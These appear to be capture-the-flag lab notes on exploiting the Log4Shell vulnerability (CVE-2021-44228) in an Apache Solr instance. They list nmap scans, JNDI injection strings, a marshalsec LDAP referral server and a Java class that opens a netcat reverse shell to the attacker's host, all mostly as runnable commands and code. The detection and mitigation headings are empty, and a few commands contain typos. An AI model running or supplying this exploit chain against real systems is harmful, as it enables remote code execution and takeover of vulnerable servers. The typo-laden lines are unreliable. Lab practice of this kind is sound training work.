Solar

Apache Log4j : CVE-2021-44228

Log4j -> Java logging Package
---
https://github.com/huntresslabs/log4shell-tester
https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
https://log4shell.huntress.com/
Lab Setup

IP Address: 10.10.51.151
Reconnaissance :
    Scanning with Nmap
        nmap -v -T4 10.10.51.151
        nmap -v -p- -T4 10.10.51.151   # Full port scan
            Open Ports:
                PORT   STATE SERVICE
                22/tcp open ssh
                111/tcp open rpcbind
                8983/tcp open unknown

Discovery
    Opening "http://10.10.51.151:8983/
    /log/solr/logs
    solr.log

PoC
    From the information from the log file, the attacker able to visit the path
        http://10.10.51.151:8983/solr/admin/cores
    And also able to use the “params”
    Important syntaxes:
        ${sys:os.name}
        ${sys:user.name}
        ${log4j:configParentLocation}
        ${ENV:PATH}
        ${ENV:HOSTNAME}
        ${java:version}

    General syntax
        ${jndi:ldap://ATTACKERCONTROLLEDHOST}
            JNDI -> Java Naming and Directory Interface

    Attack strategy
        Set up a listener on attack machine
            nc -lnvp 9999

        On an another terminal, calling the target using curl with payload
            curl ‘http://10.10.51.151:8983/solr/admin/cores?foo=$\{jndi:ldap://10.4.0.94:9999\}’

Exploitation
    https://youtu.be/OJRqyCHheRE
    https://github.com/mbechler/marshalsec
    mvn clean package -DskipTests
    java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshlsec.jndi.LDAPRefServer “http://10.4.0.94:8000/#Exploit”
    Java Payload: Exploit.java
        ###
            public class Exploit {
                static {
                    try {
                        java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.4.0.94 9999");
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }

###

Code compile:

javac Exploit.java -source 8 -target 8

Python Server setup

python3 -m http.server

Netcat Listener

nc -lnvp 9999

Modified request using curl:

curl 'http://10.10.51.151:8983/solr/admin/cores?foo=$\{jdni:ldap:10.4.0.94:1389/Exploit\}'

Persistence
Detection
Bypass
Mitigation
Patching